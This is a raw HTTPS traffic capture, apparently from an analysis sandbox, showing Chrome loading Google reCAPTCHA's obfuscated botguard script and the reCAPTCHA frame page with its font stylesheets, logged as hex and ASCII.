2024-10-01 13:37:20 UTC	832	OUT	GET /js/bg/dubcxWuhhbqw8uaLSFFGvELnk5WmffD3wjoYeQZ33gk.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp&co=aHR0cHM6Ly8wLnB3c2luYy5zaG9wOjQ0Mw..&hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&size=normal&cb=k3o38yz6anvy Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:37:21 UTC	811	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="botguard-scs" Report-To: {"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]} Content-Length: 18618 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 01 Oct 2024 07:19:37 GMT Expires: Wed, 01 Oct 2025 07:19:37 GMT Cache-Control: public, max-age=31536000 Last-Modified: Tue, 17 Sep 2024 15:00:00 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 22664 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-01 13:37:21 UTC	579	IN	Data Raw: 2f 2a 20 41 6e 74 69 2d 73 70 61 6d 2e 20 57 61 6e 74 20 74 6f 20 73 61 79 20 68 65 6c 6c 6f 3f 20 43 6f 6e 74 61 63 74 20 28 62 61 73 65 36 34 29 20 59 6d 39 30 5a 33 56 68 63 6d 51 74 59 32 39 75 64 47 46 6a 64 45 42 6e 62 32 39 6e 62 47 55 75 59 32 39 74 20 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 43 3d 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 20 64 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 29 7b 69 66 28 21 28 61 3d 28 64 3d 6e 75 6c 6c 2c 63 29 2e 74 72 75 73 74 65 64 54 79 70 65 73 2c 61 29 7c 7c 21 61 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 64 3b 74 72 79 7b 64 3d 61 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 62 67 22 2c 7b 63 72 65 61 74 65 48 54 4d Data Ascii: /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */ (function(){var c=this\|\|self,C=function(d){return d},m=function(d,a){if(!(a=(d=null,c).trustedTypes,a)\|\|!a.createPolicy)return d;try{d=a.createPolicy("bg",{createHTM
2024-10-01 13:37:21 UTC	1390	IN	Data Raw: 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 27 2c 0a 27 2a 2f 27 2c 0a 27 76 61 72 20 64 42 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 2c 43 29 7b 69 66 28 64 2e 6c 65 6e 67 74 68 3d 3d 33 29 7b 66 6f 72 28 43 3d 30 3b 43 3c 33 3b 43 2b 2b 29 61 5b 43 5d 2b 3d 64 5b 43 5d 3b 66 6f 72 28 43 3d 28 64 3d 5b 31 33 2c 38 2c 31 33 2c 31 32 2c 31 36 2c 35 2c 33 2c 31 30 2c 31 35 5d 2c 30 29 3b 43 3c 39 3b 43 2b 2b 29 61 5b 33 5d 28 61 2c 43 25 33 2c 64 5b 43 5d 29 7d 7d 2c 61 32 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 2c 43 29 7b 72 65 74 75 72 6e 20 64 2e 50 45 28 66 75 6e 63 74 69 6f 6e 28 6d 29 7b 43 3d 6d 7d 2c 66 61 6c 73 65 2c 61 29 2c 43 7d 2c 63 62 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 2c 43 2c 6d 2c 63 2c Data Ascii: X-License-Identifier: Apache-2.0','*/','var dB=function(d,a,C){if(d.length==3){for(C=0;C<3;C++)a[C]+=d[C];for(C=(d=[13,8,13,12,16,5,3,10,15],0);C<9;C++)a[3](a,C%3,d[C])}},a2=function(d,a,C){return d.PE(function(m){C=m},false,a),C},cb=function(d,a,C,m,c,
2024-10-01 13:37:21 UTC	1390	IN	Data Raw: 20 64 2e 59 3f 5a 74 28 64 2e 44 2c 64 29 3a 4a 28 38 2c 74 72 75 65 2c 64 29 7d 2c 58 74 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 2c 43 2c 6d 2c 63 29 7b 66 6f 72 28 63 3d 28 64 3d 64 2e 72 65 70 6c 61 63 65 28 2f 5c 5c 72 5c 5c 6e 2f 67 2c 22 5c 5c 6e 22 29 2c 61 3d 30 2c 5b 5d 29 2c 43 3d 30 3b 61 3c 64 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 6d 3d 64 2e 63 68 61 72 43 6f 64 65 41 74 28 61 29 2c 6d 3c 31 32 38 3f 63 5b 43 2b 2b 5d 3d 6d 3a 28 6d 3c 32 30 34 38 3f 63 5b 43 2b 2b 5d 3d 6d 3e 3e 36 7c 31 39 32 3a 28 28 6d 26 36 34 35 31 32 29 3d 3d 35 35 32 39 36 26 26 61 2b 31 3c 64 2e 6c 65 6e 67 74 68 26 26 28 64 2e 63 68 61 72 43 6f 64 65 41 74 28 61 2b 31 29 26 36 34 35 31 32 29 3d 3d 35 36 33 32 30 3f 28 6d 3d 36 35 35 33 36 2b 28 28 6d 26 31 30 32 33 29 Data Ascii: d.Y?Zt(d.D,d):J(8,true,d)},Xt=function(d,a,C,m,c){for(c=(d=d.replace(/\\r\\n/g,"\\n"),a=0,[]),C=0;a<d.length;a++)m=d.charCodeAt(a),m<128?c[C++]=m:(m<2048?c[C++]=m>>6\|192:((m&64512)==55296&&a+1<d.length&&(d.charCodeAt(a+1)&64512)==56320?(m=65536+((m&1023)
2024-10-01 13:37:21 UTC	1390	IN	Data Raw: 6e 63 74 69 6f 6e 28 64 2c 61 2c 43 2c 6d 29 7b 66 6f 72 28 3b 61 2e 47 2e 6c 65 6e 67 74 68 3b 29 7b 43 3d 28 61 2e 53 3d 6e 75 6c 6c 2c 61 2e 47 29 2e 70 6f 70 28 29 3b 74 72 79 7b 6d 3d 74 75 28 61 2c 43 29 7d 63 61 74 63 68 28 63 29 7b 4e 28 63 2c 61 29 7d 69 66 28 64 26 26 61 2e 53 29 7b 64 3d 61 2e 53 2c 64 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 28 61 2c 74 72 75 65 2c 74 72 75 65 29 7d 29 3b 62 72 65 61 6b 7d 7d 72 65 74 75 72 6e 20 6d 7d 2c 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 2c 43 29 7b 69 66 28 28 43 3d 74 79 70 65 6f 66 20 64 2c 43 29 3d 3d 22 6f 62 6a 65 63 74 22 29 69 66 28 64 29 7b 69 66 28 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 72 65 74 75 72 6e 22 61 72 72 61 79 22 3b 69 66 28 64 20 69 6e 73 74 61 6e 63 65 6f 66 Data Ascii: nction(d,a,C,m){for(;a.G.length;){C=(a.S=null,a.G).pop();try{m=tu(a,C)}catch(c){N(c,a)}if(d&&a.S){d=a.S,d(function(){g(a,true,true)});break}}return m},ll=function(d,a,C){if((C=typeof d,C)=="object")if(d){if(d instanceof Array)return"array";if(d instanceof
2024-10-01 13:37:21 UTC	1390	IN	Data Raw: 3d 6d 7d 2c 43 7d 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 2c 43 2c 6d 2c 63 2c 5a 2c 65 2c 46 29 7b 69 66 28 21 64 2e 6a 69 26 26 28 46 3d 76 6f 69 64 20 30 2c 43 26 26 43 5b 30 5d 3d 3d 3d 47 26 26 28 46 3d 43 5b 32 5d 2c 61 3d 43 5b 31 5d 2c 43 3d 76 6f 69 64 20 30 29 2c 63 3d 77 28 64 2c 33 39 37 29 2c 63 2e 6c 65 6e 67 74 68 3d 3d 30 26 26 28 65 3d 77 28 64 2c 39 30 29 3e 3e 33 2c 63 2e 70 75 73 68 28 61 2c 65 3e 3e 38 26 32 35 35 2c 65 26 32 35 35 29 2c 46 21 3d 76 6f 69 64 20 30 26 26 63 2e 70 75 73 68 28 46 26 32 35 35 29 29 2c 61 3d 22 22 2c 43 26 26 28 43 2e 6d 65 73 73 61 67 65 26 26 28 61 2b 3d 43 2e 6d 65 73 73 61 67 65 29 2c 43 2e 73 74 61 63 6b 26 26 28 61 2b 3d 22 3a 22 2b 43 2e 73 74 61 63 6b 29 29 2c 43 3d 77 28 64 2c 35 30 32 29 2c Data Ascii: =m},C},u=function(d,a,C,m,c,Z,e,F){if(!d.ji&&(F=void 0,C&&C[0]===G&&(F=C[2],a=C[1],C=void 0),c=w(d,397),c.length==0&&(e=w(d,90)>>3,c.push(a,e>>8&255,e&255),F!=void 0&&c.push(F&255)),a="",C&&(C.message&&(a+=C.message),C.stack&&(a+=":"+C.stack)),C=w(d,502),
2024-10-01 13:37:21 UTC	1390	IN	Data Raw: 28 29 29 2c 6e 65 77 20 43 29 2c 6d 7d 5d 7d 2c 46 74 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 29 7b 72 65 74 75 72 6e 20 64 28 66 75 6e 63 74 69 6f 6e 28 43 29 7b 43 28 61 29 7d 29 2c 5b 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 5d 7d 2c 69 6c 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 29 7b 72 65 74 75 72 6e 20 61 3d 30 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 3c 64 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 66 61 6c 73 65 2c 76 61 6c 75 65 3a 64 5b 61 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 74 72 75 65 7d 7d 7d 2c 43 24 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 2c 43 2c 6d 2c 63 2c 5a 2c 65 2c 46 29 7b 66 6f 72 28 28 63 2e 75 5a 3d 57 62 28 63 2e 56 2c 28 63 2e 72 61 3d 63 5b 6b 5d 2c 63 2e 73 Data Ascii: ()),new C),m}]},Ft=function(d,a){return d(function(C){C(a)}),[function(){return a},function(){}]},il=function(d,a){return a=0,function(){return a<d.length?{done:false,value:d[a++]}:{done:true}}},C$=function(d,a,C,m,c,Z,e,F){for((c.uZ=Wb(c.V,(c.ra=c[k],c.s
2024-10-01 13:37:21 UTC	1390	IN	Data Raw: 66 2c 51 2c 4f 2c 57 2c 70 2c 71 2c 4c 29 7b 66 6f 72 28 51 3d 77 28 66 2c 28 57 3d 28 70 3d 28 4c 3d 42 28 66 29 2c 65 31 28 66 29 29 2c 22 22 29 2c 32 37 33 29 29 2c 71 3d 51 2e 6c 65 6e 67 74 68 2c 4f 3d 30 3b 70 2d 2d 3b 29 4f 3d 28 28 4f 7c 30 29 2b 28 65 31 28 66 29 7c 30 29 29 25 71 2c 57 2b 3d 65 5b 51 5b 4f 5d 5d 3b 52 28 4c 2c 66 2c 57 29 7d 2c 28 52 28 28 28 63 2e 4b 79 3d 28 52 28 34 33 38 2c 28 63 2e 48 45 3d 28 41 28 63 2c 66 75 6e 63 74 69 6f 6e 28 66 2c 51 2c 4f 2c 57 29 7b 4f 3d 42 28 28 57 3d 28 51 3d 42 28 66 29 2c 42 29 28 66 29 2c 66 29 29 2c 52 28 4f 2c 66 2c 77 28 66 2c 51 29 7c 7c 77 28 66 2c 57 29 29 7d 2c 28 41 28 63 2c 28 52 28 34 36 31 2c 63 2c 28 41 28 63 2c 28 41 28 63 2c 66 75 6e 63 74 69 6f 6e 28 66 2c 51 2c 4f 29 7b 52 28 Data Ascii: f,Q,O,W,p,q,L){for(Q=w(f,(W=(p=(L=B(f),e1(f)),""),273)),q=Q.length,O=0;p--;)O=((O\|0)+(e1(f)\|0))%q,W+=e[Q[O]];R(L,f,W)},(R(((c.Ky=(R(438,(c.HE=(A(c,function(f,Q,O,W){O=B((W=(Q=B(f),B)(f),f)),R(O,f,w(f,Q)\|\|w(f,W))},(A(c,(R(461,c,(A(c,(A(c,function(f,Q,O){R(
2024-10-01 13:37:21 UTC	1390	IN	Data Raw: 4e 73 3d 21 28 63 2e 42 45 3d 5b 5d 2c 31 29 2c 63 29 2e 58 3d 76 6f 69 64 20 30 2c 5b 5d 29 2c 46 29 2e 74 69 6d 65 4f 72 69 67 69 6e 7c 7c 28 46 2e 74 69 6d 69 6e 67 7c 7c 7b 7d 29 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 7c 7c 30 2c 63 29 2e 43 3d 5b 5d 2c 6d 26 26 6d 2e 6c 65 6e 67 74 68 3d 3d 32 26 26 28 63 2e 42 45 3d 6d 5b 31 5d 2c 63 2e 44 78 3d 6d 5b 30 5d 29 2c 63 29 2c 30 29 2c 39 30 29 2c 63 2c 30 29 2c 31 35 38 29 29 2c 33 32 35 29 29 2c 33 32 29 29 2c 63 29 2c 63 29 2c 33 32 34 29 29 2c 52 29 28 33 32 31 2c 63 2c 37 39 33 29 2c 34 36 35 29 29 2c 31 34 29 29 2c 66 75 6e 63 74 69 6f 6e 28 66 2c 51 29 7b 28 66 3d 28 51 3d 42 28 66 29 2c 77 28 66 2e 49 2c 51 29 29 2c 66 29 5b 30 5d 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 Data Ascii: Ns=!(c.BE=[],1),c).X=void 0,[]),F).timeOrigin\|\|(F.timing\|\|{}).navigationStart\|\|0,c).C=[],m&&m.length==2&&(c.BE=m[1],c.Dx=m[0]),c),0),90),c,0),158)),325)),32)),c),c),324)),R)(321,c,793),465)),14)),function(f,Q){(f=(Q=B(f),w(f.I,Q)),f)[0].removeEventListene
2024-10-01 13:37:21 UTC	1390	IN	Data Raw: 68 2c 51 3d 4f 2e 58 75 2c 4f 3d 4f 2e 65 69 2c 71 3d 70 3d 3d 30 3f 6e 65 77 20 4f 5b 57 5d 3a 70 3d 3d 31 3f 6e 65 77 20 4f 5b 57 5d 28 71 5b 30 5d 29 3a 70 3d 3d 32 3f 6e 65 77 20 4f 5b 57 5d 28 71 5b 30 5d 2c 71 5b 31 5d 29 3a 70 3d 3d 33 3f 6e 65 77 20 4f 5b 57 5d 28 71 5b 30 5d 2c 71 5b 31 5d 2c 71 5b 32 5d 29 3a 70 3d 3d 34 3f 6e 65 77 20 4f 5b 57 5d 28 71 5b 30 5d 2c 71 5b 31 5d 2c 71 5b 32 5d 2c 71 5b 33 5d 29 3a 32 28 29 2c 52 28 51 2c 66 2c 71 29 29 7d 2c 31 36 29 2c 49 29 28 5b 4c 24 5d 2c 63 29 2c 4d 39 29 2c 5a 5d 2c 63 29 2c 5b 7a 62 2c 61 5d 29 2c 63 29 2c 63 29 2c 74 72 75 65 2c 74 72 75 65 29 7d 2c 5a 74 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 29 7b 72 65 74 75 72 6e 28 64 3d 64 2e 63 72 65 61 74 65 28 29 2e 73 68 69 66 74 28 29 2c 61 29 Data Ascii: h,Q=O.Xu,O=O.ei,q=p==0?new O[W]:p==1?new O[W](q[0]):p==2?new O[W](q[0],q[1]):p==3?new O[W](q[0],q[1],q[2]):p==4?new O[W](q[0],q[1],q[2],q[3]):2(),R(Q,f,q))},16),I)([L$],c),M9),Z],c),[zb,a]),c),c),true,true)},Zt=function(d,a){return(d=d.create().shift(),a)
2024-10-01 13:37:21 UTC	1390	IN	Data Raw: 61 29 3b 65 6c 73 65 20 69 66 28 63 3d 3d 7a 62 29 7b 74 72 79 7b 66 6f 72 28 6d 3d 30 3b 6d 3c 64 2e 43 2e 6c 65 6e 67 74 68 3b 6d 2b 2b 29 74 72 79 7b 43 3d 64 2e 43 5b 6d 5d 2c 43 5b 30 5d 5b 43 5b 31 5d 5d 28 43 5b 32 5d 29 7d 63 61 74 63 68 28 5a 29 7b 7d 7d 63 61 74 63 68 28 5a 29 7b 7d 28 30 2c 61 5b 31 5d 29 28 66 75 6e 63 74 69 6f 6e 28 5a 2c 65 29 7b 64 2e 50 45 28 5a 2c 74 72 75 65 2c 65 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 5a 29 7b 28 49 28 5b 79 37 5d 2c 28 5a 3d 21 64 2e 47 2e 6c 65 6e 67 74 68 2c 64 29 29 2c 5a 29 26 26 67 28 64 2c 74 72 75 65 2c 66 61 6c 73 65 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 5a 29 7b 72 65 74 75 72 6e 20 64 2e 7a 6f 28 5a 29 7d 2c 28 6d 3d 28 64 2e 43 3d 5b 5d 2c 64 29 2e 67 28 29 2c 66 75 6e 63 74 69 6f 6e 28 5a 29 7b Data Ascii: a);else if(c==zb){try{for(m=0;m<d.C.length;m++)try{C=d.C[m],C[0][C[1]](C[2])}catch(Z){}}catch(Z){}(0,a[1])(function(Z,e){d.PE(Z,true,e)},function(Z){(I([y7],(Z=!d.G.length,d)),Z)&&g(d,true,false)},function(Z){return d.zo(Z)},(m=(d.C=[],d).g(),function(Z){

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49755	142.250.185.132	443	5776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:37:22 UTC	868	OUT	GET /recaptcha/api2/bframe?hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://0.pwsinc.shop/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:37:22 UTC	1161	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 13:37:22 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-cRttHYkOyZT-M3nzWcPa5g' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-01 13:37:22 UTC	229	IN	Data Raw: 31 64 36 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 Data Ascii: 1d6c<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* c
2024-10-01 13:37:22 UTC	1390	IN	Data Raw: 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 Data Ascii: yrillic-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A6
2024-10-01 13:37:22 UTC	1390	IN	Data Raw: 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 Data Ascii: 20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E0
2024-10-01 13:37:22 UTC	1390	IN	Data Raw: 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 Data Ascii: ts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/* greek */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnq
2024-10-01 13:37:22 UTC	1390	IN	Data Raw: 2b 30 33 32 39 2c 20 55 2b 32 30 30 30 2d 32 30 36 46 2c 20 55 2b 32 30 37 34 2c 20 55 2b 32 30 41 43 2c 20 55 2b 32 31 32 32 2c 20 55 2b 32 31 39 31 2c 20 55 2b 32 31 39 33 2c 20 55 2b 32 32 31 32 2c 20 55 2b 32 32 31 35 2c 20 55 2b 46 45 46 46 2c 20 55 2b 46 46 46 44 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 39 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 Data Ascii: +0329, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;}/* cyrillic-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYU
2024-10-01 13:37:22 UTC	1390	IN	Data Raw: 32 38 2d 30 31 32 39 2c 20 55 2b 30 31 36 38 2d 30 31 36 39 2c 20 55 2b 30 31 41 30 2d 30 31 41 31 2c 20 55 2b 30 31 41 46 2d 30 31 42 30 2c 20 55 2b 30 33 30 30 2d 30 33 30 31 2c 20 55 2b 30 33 30 33 2d 30 33 30 34 2c 20 55 2b 30 33 30 38 2d 30 33 30 39 2c 20 55 2b 30 33 32 33 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 41 30 2d 31 45 46 39 2c 20 55 2b 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 39 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f Data Ascii: 28-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, 